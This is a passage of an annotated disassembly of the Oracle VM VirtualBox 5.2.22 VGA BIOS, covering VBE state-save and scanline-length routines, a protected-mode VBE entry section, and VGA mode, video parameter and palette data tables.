out DX, ax ; ef
inc bx ; 43
inc bx ; 43
mov ax, strict word 00002h ; b8 02 00
mov dx, 001ceh ; ba ce 01
out DX, ax ; ef
mov dx, bx ; 89 da
mov ax, cx ; 89 c8
call 02f73h ; e8 45 f6
mov dx, 001cfh ; ba cf 01
out DX, ax ; ef
inc bx ; 43
inc bx ; 43
mov ax, strict word 00003h ; b8 03 00
mov dx, 001ceh ; ba ce 01
out DX, ax ; ef
mov dx, bx ; 89 da
mov ax, cx ; 89 c8
call 02f73h ; e8 31 f6
mov dx, 001cfh ; ba cf 01
out DX, ax ; ef
inc bx ; 43
inc bx ; 43
mov ax, strict word 00004h ; b8 04 00
mov dx, 001ceh ; ba ce 01
out DX, ax ; ef
mov ax, word [bp-008h] ; 8b 46 f8
mov dx, 001cfh ; ba cf 01
out DX, ax ; ef
mov si, strict word 00005h ; be 05 00
jmp short 03960h ; eb 05
cmp si, strict byte 00009h ; 83 fe 09
jnbe short 03976h ; 77 16
mov ax, si ; 89 f0
mov dx, 001ceh ; ba ce 01
out DX, ax ; ef
mov dx, bx ; 89 da
mov ax, cx ; 89 c8
call 02f73h ; e8 06 f6
mov dx, 001cfh ; ba cf 01
out DX, ax ; ef
inc bx ; 43
inc bx ; 43
inc si ; 46
jmp short 0395bh ; eb e5
lea sp, [bp-006h] ; 8d 66 fa
pop si ; 5e
pop cx ; 59
pop bx ; 5b
pop bp ; 5d
retn ; c3
vbe_biosfn_save_restore_state_: ; 0xc397e LB 0x8c
push bp ; 55
mov bp, sp ; 89 e5
push si ; 56
push di ; 57
push ax ; 50
mov si, ax ; 89 c6
mov word [bp-006h], dx ; 89 56 fa
mov ax, bx ; 89 d8
mov bx, word [bp+004h] ; 8b 5e 04
mov di, strict word 0004fh ; bf 4f 00
xor ah, ah ; 30 e4
cmp ax, strict word 00002h ; 3d 02 00
je short 039ddh ; 74 45
cmp ax, strict word 00001h ; 3d 01 00
je short 039c1h ; 74 24
test ax, ax ; 85 c0
jne short 039f9h ; 75 58
mov ax, word [bp-006h] ; 8b 46 fa
call 0286ch ; e8 c5 ee
mov cx, ax ; 89 c1
test byte [bp-006h], 008h ; f6 46 fa 08
je short 039b4h ; 74 05
call 03880h ; e8 ce fe
add ax, cx ; 01 c8
add ax, strict word 0003fh ; 05 3f 00
shr ax, 006h ; c1 e8 06
push SS ; 16
pop ES ; 07
mov word [es:bx], ax ; 26 89 07
jmp short 039fch ; eb 3b
push SS ; 16
pop ES ; 07
mov bx, word [es:bx] ; 26 8b 1f
mov dx, cx ; 89 ca
mov ax, word [bp-006h] ; 8b 46 fa
call 028a1h ; e8 d3 ee
test byte [bp-006h], 008h ; f6 46 fa 08
je short 039fch ; 74 28
mov dx, ax ; 89 c2
mov ax, cx ; 89 c8
call 03888h ; e8 ad fe
jmp short 039fch ; eb 1f
push SS ; 16
pop ES ; 07
mov bx, word [es:bx] ; 26 8b 1f
mov dx, cx ; 89 ca
mov ax, word [bp-006h] ; 8b 46 fa
call 02c0ah ; e8 20 f2
test byte [bp-006h], 008h ; f6 46 fa 08
je short 039fch ; 74 0c
mov dx, ax ; 89 c2
mov ax, cx ; 89 c8
call 038e3h ; e8 ec fe
jmp short 039fch ; eb 03
mov di, 00100h ; bf 00 01
push SS ; 16
pop ES ; 07
mov word [es:si], di ; 26 89 3c
lea sp, [bp-004h] ; 8d 66 fc
pop di ; 5f
pop si ; 5e
pop bp ; 5d
retn 00002h ; c2 02 00
vbe_biosfn_get_set_scanline_length_: ; 0xc3a0a LB 0xcf
push bp ; 55
mov bp, sp ; 89 e5
push si ; 56
push di ; 57
sub sp, strict byte 00008h ; 83 ec 08
push ax ; 50
mov di, dx ; 89 d7
mov si, bx ; 89 de
mov word [bp-008h], cx ; 89 4e f8
call 03477h ; e8 5a fa
cmp AL, strict byte 00fh ; 3c 0f
jne short 03a26h ; 75 05
mov cx, strict word 00010h ; b9 10 00
jmp short 03a29h ; eb 03
movzx cx, al ; 0f b6 c8
call 034afh ; e8 83 fa
mov word [bp-00ah], ax ; 89 46 f6
mov word [bp-006h], strict word 0004fh ; c7 46 fa 4f 00
push SS ; 16
pop ES ; 07
mov bx, word [es:si] ; 26 8b 1c
mov al, byte [es:di] ; 26 8a 05
cmp AL, strict byte 002h ; 3c 02
je short 03a4bh ; 74 0b
cmp AL, strict byte 001h ; 3c 01
je short 03a72h ; 74 2e
test al, al ; 84 c0
je short 03a6dh ; 74 25
jmp near 03ac2h ; e9 77 00
cmp cl, 004h ; 80 f9 04
jne short 03a55h ; 75 05
sal bx, 003h ; c1 e3 03
jmp short 03a6dh ; eb 18
movzx ax, cl ; 0f b6 c1
cwd ; 99
sal dx, 003h ; c1 e2 03
db 01bh, 0c2h
; sbb ax, dx ; 1b c2
sar ax, 003h ; c1 f8 03
mov word [bp-00ch], ax ; 89 46 f4
mov ax, bx ; 89 d8
xor dx, dx ; 31 d2
div word [bp-00ch] ; f7 76 f4
mov bx, ax ; 89 c3
mov ax, bx ; 89 d8
call 03490h ; e8 1e fa
call 034afh ; e8 3a fa
mov bx, ax ; 89 c3
push SS ; 16
pop ES ; 07
mov word [es:si], ax ; 26 89 04
cmp cl, 004h ; 80 f9 04
jne short 03a86h ; 75 05
shr bx, 003h ; c1 eb 03
jmp short 03a95h ; eb 0f
movzx ax, cl ; 0f b6 c1
cwd ; 99
sal dx, 003h ; c1 e2 03
db 01bh, 0c2h
; sbb ax, dx ; 1b c2
sar ax, 003h ; c1 f8 03
imul bx, ax ; 0f af d8
add bx, strict byte 00003h ; 83 c3 03
and bl, 0fch ; 80 e3 fc
push SS ; 16
pop ES ; 07
mov word [es:di], bx ; 26 89 1d
call 034c8h ; e8 25 fa
push SS ; 16
pop ES ; 07
mov bx, word [bp-008h] ; 8b 5e f8
mov word [es:bx], ax ; 26 89 07
call 0343fh ; e8 91 f9
push SS ; 16
pop ES ; 07
cmp ax, word [es:bx] ; 26 3b 07
jbe short 03ac7h ; 76 12
mov ax, word [bp-00ah] ; 8b 46 f6
call 03490h ; e8 d5 f9
mov word [bp-006h], 00200h ; c7 46 fa 00 02
jmp short 03ac7h ; eb 05
mov word [bp-006h], 00100h ; c7 46 fa 00 01
push SS ; 16
pop ES ; 07
mov ax, word [bp-006h] ; 8b 46 fa
mov bx, word [bp-00eh] ; 8b 5e f2
mov word [es:bx], ax ; 26 89 07
lea sp, [bp-004h] ; 8d 66 fc
pop di ; 5f
pop si ; 5e
pop bp ; 5d
retn ; c3
; Padding 0x927 bytes at 0xc3ad9
times 2343 db 0
section VBE32 progbits vstart=0x4400 align=1 ; size=0x115 class=CODE group=AUTO
vesa_pm_start: ; 0xc4400 LB 0x114
sbb byte [bx+si], al ; 18 00
dec di ; 4f
add byte [bx+si], dl ; 00 10
add word [bx+si], cx ; 01 08
add dh, cl ; 00 ce
add di, cx ; 01 cf
add di, cx ; 01 cf
add ax, dx ; 01 d0
add word [bp-048fdh], si ; 01 b6 03 b7
db 003h, 0ffh
; add di, di ; 03 ff
db 0ffh
db 0ffh
jmp word [bp-07dh] ; ff 66 83
sti ; fb
add byte [si+005h], dh ; 00 74 05
mov eax, strict dword 066c30100h ; 66 b8 00 01 c3 66
db 08bh, 0c2h
; mov ax, dx ; 8b c2
push edx ; 66 52
push eax ; 66 50
mov edx, strict dword 0b86601ceh ; 66 ba ce 01 66 b8
add ax, 06600h ; 05 00 66
out DX, ax ; ef
pop eax ; 66 58
mov edx, strict dword 0ef6601cfh ; 66 ba cf 01 66 ef
in eax, DX ; 66 ed
pop edx ; 66 5a
db 066h, 03bh, 0d0h
; cmp edx, eax ; 66 3b d0
jne short 0444ah ; 75 05
mov eax, strict dword 066c3004fh ; 66 b8 4f 00 c3 66
mov ax, 0014fh ; b8 4f 01
retn ; c3
cmp bl, 080h ; 80 fb 80
je short 0445eh ; 74 0a
cmp bl, 000h ; 80 fb 00
je short 0446eh ; 74 15
mov eax, strict dword 052c30100h ; 66 b8 00 01 c3 52
mov edx, strict dword 0a8ec03dah ; 66 ba da 03 ec a8
or byte [di-005h], dh ; 08 75 fb
in AL, DX ; ec
test AL, strict byte 008h ; a8 08
je short 04468h ; 74 fb
pop dx ; 5a
push ax ; 50
push cx ; 51
push dx ; 52
push si ; 56
push di ; 57
sal dx, 010h ; c1 e2 10
and cx, strict word 0ffffh ; 81 e1 ff ff
add byte [bx+si], al ; 00 00
db 00bh, 0cah
; or cx, dx ; 0b ca
sal cx, 002h ; c1 e1 02
db 08bh, 0c1h
; mov ax, cx ; 8b c1
push ax ; 50
mov edx, strict dword 0b86601ceh ; 66 ba ce 01 66 b8
push ES ; 06
add byte [bp-011h], ah ; 00 66 ef
mov edx, strict dword 0ed6601cfh ; 66 ba cf 01 66 ed
db 00fh, 0b7h, 0c8h
; movzx cx, ax ; 0f b7 c8
mov edx, strict dword 0b86601ceh ; 66 ba ce 01 66 b8
add ax, word [bx+si] ; 03 00
out DX, eax ; 66 ef
mov edx, strict dword 0ed6601cfh ; 66 ba cf 01 66 ed
db 00fh, 0b7h, 0f0h
; movzx si, ax ; 0f b7 f0
pop ax ; 58
cmp si, strict byte 00004h ; 83 fe 04
je short 044c7h ; 74 17
add si, strict byte 00007h ; 83 c6 07
shr si, 003h ; c1 ee 03
imul cx, si ; 0f af ce
db 033h, 0d2h
; xor dx, dx ; 33 d2
div cx ; f7 f1
db 08bh, 0f8h
; mov di, ax ; 8b f8
db 08bh, 0c2h
; mov ax, dx ; 8b c2
db 033h, 0d2h
; xor dx, dx ; 33 d2
div si ; f7 f6
jmp short 044d3h ; eb 0c
shr cx, 1 ; d1 e9
db 033h, 0d2h
; xor dx, dx ; 33 d2
div cx ; f7 f1
db 08bh, 0f8h
; mov di, ax ; 8b f8
db 08bh, 0c2h
; mov ax, dx ; 8b c2
sal ax, 1 ; d1 e0
push edx ; 66 52
push eax ; 66 50
mov edx, strict dword 0b86601ceh ; 66 ba ce 01 66 b8
or byte [bx+si], al ; 08 00
out DX, eax ; 66 ef
pop eax ; 66 58
mov edx, strict dword 0ef6601cfh ; 66 ba cf 01 66 ef
pop edx ; 66 5a
db 066h, 08bh, 0c7h
; mov eax, edi ; 66 8b c7
push edx ; 66 52
push eax ; 66 50
mov edx, strict dword 0b86601ceh ; 66 ba ce 01 66 b8
or word [bx+si], ax ; 09 00
out DX, eax ; 66 ef
pop eax ; 66 58
mov edx, strict dword 0ef6601cfh ; 66 ba cf 01 66 ef
pop edx ; 66 5a
pop di ; 5f
pop si ; 5e
pop dx ; 5a
pop cx ; 59
pop ax ; 58
mov eax, strict dword 066c3004fh ; 66 b8 4f 00 c3 66
mov ax, 0014fh ; b8 4f 01
vesa_pm_end: ; 0xc4514 LB 0x1
retn ; c3
; Padding 0xeb bytes at 0xc4515
times 235 db 0
section _DATA progbits vstart=0x4600 align=1 ; size=0x3727 class=DATA group=DGROUP
_msg_vga_init: ; 0xc4600 LB 0x2f
db 'Oracle VM VirtualBox Version 5.2.22 VGA BIOS', 00dh, 00ah, 000h
_vga_modes: ; 0xc462f LB 0x80
db 000h, 000h, 000h, 004h, 000h, 0b8h, 0ffh, 002h, 001h, 000h, 000h, 004h, 000h, 0b8h, 0ffh, 002h
db 002h, 000h, 000h, 004h, 000h, 0b8h, 0ffh, 002h, 003h, 000h, 000h, 004h, 000h, 0b8h, 0ffh, 002h
db 004h, 001h, 002h, 002h, 000h, 0b8h, 0ffh, 001h, 005h, 001h, 002h, 002h, 000h, 0b8h, 0ffh, 001h
db 006h, 001h, 002h, 001h, 000h, 0b8h, 0ffh, 001h, 007h, 000h, 001h, 004h, 000h, 0b0h, 0ffh, 000h
db 00dh, 001h, 004h, 004h, 000h, 0a0h, 0ffh, 001h, 00eh, 001h, 004h, 004h, 000h, 0a0h, 0ffh, 001h
db 00fh, 001h, 003h, 001h, 000h, 0a0h, 0ffh, 000h, 010h, 001h, 004h, 004h, 000h, 0a0h, 0ffh, 002h
db 011h, 001h, 003h, 001h, 000h, 0a0h, 0ffh, 002h, 012h, 001h, 004h, 004h, 000h, 0a0h, 0ffh, 002h
db 013h, 001h, 005h, 008h, 000h, 0a0h, 0ffh, 003h, 06ah, 001h, 004h, 004h, 000h, 0a0h, 0ffh, 002h
_line_to_vpti: ; 0xc46af LB 0x10
db 017h, 017h, 018h, 018h, 004h, 005h, 006h, 007h, 00dh, 00eh, 011h, 012h, 01ah, 01bh, 01ch, 01dh
_dac_regs: ; 0xc46bf LB 0x4
dd 0ff3f3f3fh
_video_param_table: ; 0xc46c3 LB 0x780
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 028h, 018h, 008h, 000h, 008h, 009h, 003h, 000h, 002h, 063h, 02dh, 027h, 028h, 090h, 02bh, 080h
db 0bfh, 01fh, 000h, 0c1h, 000h, 000h, 000h, 000h, 000h, 000h, 09ch, 08eh, 08fh, 014h, 000h, 096h
db 0b9h, 0a2h, 0ffh, 000h, 013h, 015h, 017h, 002h, 004h, 006h, 007h, 010h, 011h, 012h, 013h, 014h
db 015h, 016h, 017h, 001h, 000h, 003h, 000h, 000h, 000h, 000h, 000h, 000h, 030h, 00fh, 00fh, 0ffh
db 028h, 018h, 008h, 000h, 008h, 009h, 003h, 000h, 002h, 063h, 02dh, 027h, 028h, 090h, 02bh, 080h
db 0bfh, 01fh, 000h, 0c1h, 000h, 000h, 000h, 000h, 000h, 000h, 09ch, 08eh, 08fh, 014h, 000h, 096h
db 0b9h, 0a2h, 0ffh, 000h, 013h, 015h, 017h, 002h, 004h, 006h, 007h, 010h, 011h, 012h, 013h, 014h
db 015h, 016h, 017h, 001h, 000h, 003h, 000h, 000h, 000h, 000h, 000h, 000h, 030h, 00fh, 00fh, 0ffh
db 050h, 018h, 008h, 000h, 010h, 001h, 001h, 000h, 006h, 063h, 05fh, 04fh, 050h, 082h, 054h, 080h
db 0bfh, 01fh, 000h, 0c1h, 000h, 000h, 000h, 000h, 000h, 000h, 09ch, 08eh, 08fh, 028h, 000h, 096h
db 0b9h, 0c2h, 0ffh, 000h, 017h, 017h, 017h, 017h, 017h, 017h, 017h, 017h, 017h, 017h, 017h, 017h
db 017h, 017h, 017h, 001h, 000h, 001h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 00dh, 00fh, 0ffh
db 050h, 018h, 010h, 000h, 010h, 000h, 003h, 000h, 002h, 066h, 05fh, 04fh, 050h, 082h, 055h, 081h
db 0bfh, 01fh, 000h, 04fh, 00dh, 00eh, 000h, 000h, 000h, 000h, 09ch, 08eh, 08fh, 028h, 00fh, 096h
db 0b9h, 0a3h, 0ffh, 000h, 008h, 008h, 008h, 008h, 008h, 008h, 008h, 010h, 018h, 018h, 018h, 018h
db 018h, 018h, 018h, 00eh, 000h, 00fh, 008h, 000h, 000h, 000h, 000h, 000h, 010h, 00ah, 00fh, 0ffh
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 028h, 018h, 008h, 000h, 020h, 009h, 00fh, 000h, 006h, 063h, 02dh, 027h, 028h, 090h, 02bh, 080h
db 0bfh, 01fh, 000h, 0c0h, 000h, 000h, 000h, 000h, 000h, 000h, 09ch, 08eh, 08fh, 014h, 000h, 096h
db 0b9h, 0e3h, 0ffh, 000h, 001h, 002h, 003h, 004h, 005h, 006h, 007h, 010h, 011h, 012h, 013h, 014h
db 015h, 016h, 017h, 001h, 000h, 00fh, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 005h, 00fh, 0ffh
db 050h, 018h, 008h, 000h, 040h, 001h, 00fh, 000h, 006h, 063h, 05fh, 04fh, 050h, 082h, 054h, 080h
db 0bfh, 01fh, 000h, 0c0h, 000h, 000h, 000h, 000h, 000h, 000h, 09ch, 08eh, 08fh, 028h, 000h, 096h
db 0b9h, 0e3h, 0ffh, 000h, 001h, 002h, 003h, 004h, 005h, 006h, 007h, 010h, 011h, 012h, 013h, 014h
db 015h, 016h, 017h, 001h, 000h, 00fh, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 005h, 00fh, 0ffh
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 050h, 018h, 00eh, 000h, 080h, 001h, 00fh, 000h, 006h, 0a3h, 05fh, 04fh, 050h, 082h, 054h, 080h
db 0bfh, 01fh, 000h, 040h, 000h, 000h, 000h, 000h, 000h, 000h, 083h, 085h, 05dh, 028h, 00fh, 063h
db 0bah, 0e3h, 0ffh, 000h, 008h, 000h, 000h, 018h, 018h, 000h, 000h, 000h, 008h, 000h, 000h, 000h
db 018h, 000h, 000h, 001h, 000h, 001h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 005h, 00fh, 0ffh
db 050h, 018h, 00eh, 000h, 080h, 001h, 00fh, 000h, 006h, 0a3h, 05fh, 04fh, 050h, 082h, 054h, 080h
db 0bfh, 01fh, 000h, 040h, 000h, 000h, 000h, 000h, 000h, 000h, 083h, 085h, 05dh, 028h, 00fh, 063h
db 0bah, 0e3h, 0ffh, 000h, 001h, 002h, 003h, 004h, 005h, 014h, 007h, 038h, 039h, 03ah, 03bh, 03ch
db 03dh, 03eh, 03fh, 001h, 000h, 00fh, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 005h, 00fh, 0ffh
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 050h, 018h, 00eh, 000h, 010h, 000h, 003h, 000h, 002h, 067h, 05fh, 04fh, 050h, 082h, 055h, 081h
db 0bfh, 01fh, 000h, 04fh, 00dh, 00eh, 000h, 000h, 000h, 000h, 09ch, 08eh, 08fh, 028h, 01fh, 096h
db 0b9h, 0a3h, 0ffh, 000h, 001h, 002h, 003h, 004h, 005h, 014h, 007h, 038h, 039h, 03ah, 03bh, 03ch
db 03dh, 03eh, 03fh, 00ch, 000h, 00fh, 008h, 000h, 000h, 000h, 000h, 000h, 010h, 00eh, 00fh, 0ffh
db 028h, 018h, 010h, 000h, 008h, 008h, 003h, 000h, 002h, 067h, 02dh, 027h, 028h, 090h, 02bh, 0a0h
db 0bfh, 01fh, 000h, 04fh, 00dh, 00eh, 000h, 000h, 000h, 000h, 09ch, 08eh, 08fh, 014h, 01fh, 096h
db 0b9h, 0a3h, 0ffh, 000h, 001h, 002h, 003h, 004h, 005h, 014h, 007h, 038h, 039h, 03ah, 03bh, 03ch
db 03dh, 03eh, 03fh, 00ch, 000h, 00fh, 008h, 000h, 000h, 000h, 000h, 000h, 010h, 00eh, 00fh, 0ffh
db 050h, 018h, 010h, 000h, 010h, 000h, 003h, 000h, 002h, 067h, 05fh, 04fh, 050h, 082h, 055h, 081h
db 0bfh, 01fh, 000h, 04fh, 00dh, 00eh, 000h, 000h, 000h, 000h, 09ch, 08eh, 08fh, 028h, 01fh, 096h
db 0b9h, 0a3h, 0ffh, 000h, 001h, 002h, 003h, 004h, 005h, 014h, 007h, 038h, 039h, 03ah, 03bh, 03ch
db 03dh, 03eh, 03fh, 00ch, 000h, 00fh, 008h, 000h, 000h, 000h, 000h, 000h, 010h, 00eh, 00fh, 0ffh
db 050h, 018h, 010h, 000h, 010h, 000h, 003h, 000h, 002h, 066h, 05fh, 04fh, 050h, 082h, 055h, 081h
db 0bfh, 01fh, 000h, 04fh, 00dh, 00eh, 000h, 000h, 000h, 000h, 09ch, 08eh, 08fh, 028h, 00fh, 096h
db 0b9h, 0a3h, 0ffh, 000h, 008h, 008h, 008h, 008h, 008h, 008h, 008h, 010h, 018h, 018h, 018h, 018h
db 018h, 018h, 018h, 00eh, 000h, 00fh, 008h, 000h, 000h, 000h, 000h, 000h, 010h, 00ah, 00fh, 0ffh
db 050h, 01dh, 010h, 000h, 000h, 001h, 00fh, 000h, 006h, 0e3h, 05fh, 04fh, 050h, 082h, 054h, 080h
db 00bh, 03eh, 000h, 040h, 000h, 000h, 000h, 000h, 000h, 000h, 0eah, 08ch, 0dfh, 028h, 000h, 0e7h
db 004h, 0e3h, 0ffh, 000h, 03fh, 000h, 03fh, 000h, 03fh, 000h, 03fh, 000h, 03fh, 000h, 03fh, 000h
db 03fh, 000h, 03fh, 001h, 000h, 00fh, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 005h, 00fh, 0ffh
db 050h, 01dh, 010h, 000h, 000h, 001h, 00fh, 000h, 006h, 0e3h, 05fh, 04fh, 050h, 082h, 054h, 080h
db 00bh, 03eh, 000h, 040h, 000h, 000h, 000h, 000h, 000h, 000h, 0eah, 08ch, 0dfh, 028h, 000h, 0e7h
db 004h, 0e3h, 0ffh, 000h, 001h, 002h, 003h, 004h, 005h, 014h, 007h, 038h, 039h, 03ah, 03bh, 03ch
db 03dh, 03eh, 03fh, 001h, 000h, 00fh, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 005h, 00fh, 0ffh
db 028h, 018h, 008h, 000h, 000h, 001h, 00fh, 000h, 00eh, 063h, 05fh, 04fh, 050h, 082h, 054h, 080h
db 0bfh, 01fh, 000h, 041h, 000h, 000h, 000h, 000h, 000h, 000h, 09ch, 08eh, 08fh, 028h, 040h, 096h
db 0b9h, 0a3h, 0ffh, 000h, 001h, 002h, 003h, 004h, 005h, 006h, 007h, 008h, 009h, 00ah, 00bh, 00ch
db 00dh, 00eh, 00fh, 041h, 000h, 00fh, 000h, 000h, 000h, 000h, 000h, 000h, 040h, 005h, 00fh, 0ffh
db 064h, 024h, 010h, 000h, 000h, 001h, 00fh, 000h, 006h, 0e3h, 07fh, 063h, 063h, 083h, 06bh, 01bh
db 072h, 0f0h, 000h, 060h, 000h, 000h, 000h, 000h, 000h, 000h, 059h, 08dh, 057h, 032h, 000h, 057h
db 073h, 0e3h, 0ffh, 000h, 001h, 002h, 003h, 004h, 005h, 014h, 007h, 038h, 039h, 03ah, 03bh, 03ch
db 03dh, 03eh, 03fh, 001h, 000h, 00fh, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 005h, 00fh, 0ffh
_palette0: ; 0xc4e43 LB 0xc0
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah
db 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah
db 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah
db 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 03fh, 03fh, 03fh, 03fh, 03fh, 03fh, 03fh, 03fh
db 03fh, 03fh, 03fh, 03fh, 03fh, 03fh, 03fh, 03fh, 03fh, 03fh, 03fh, 03fh, 03fh, 03fh, 03fh, 03fh
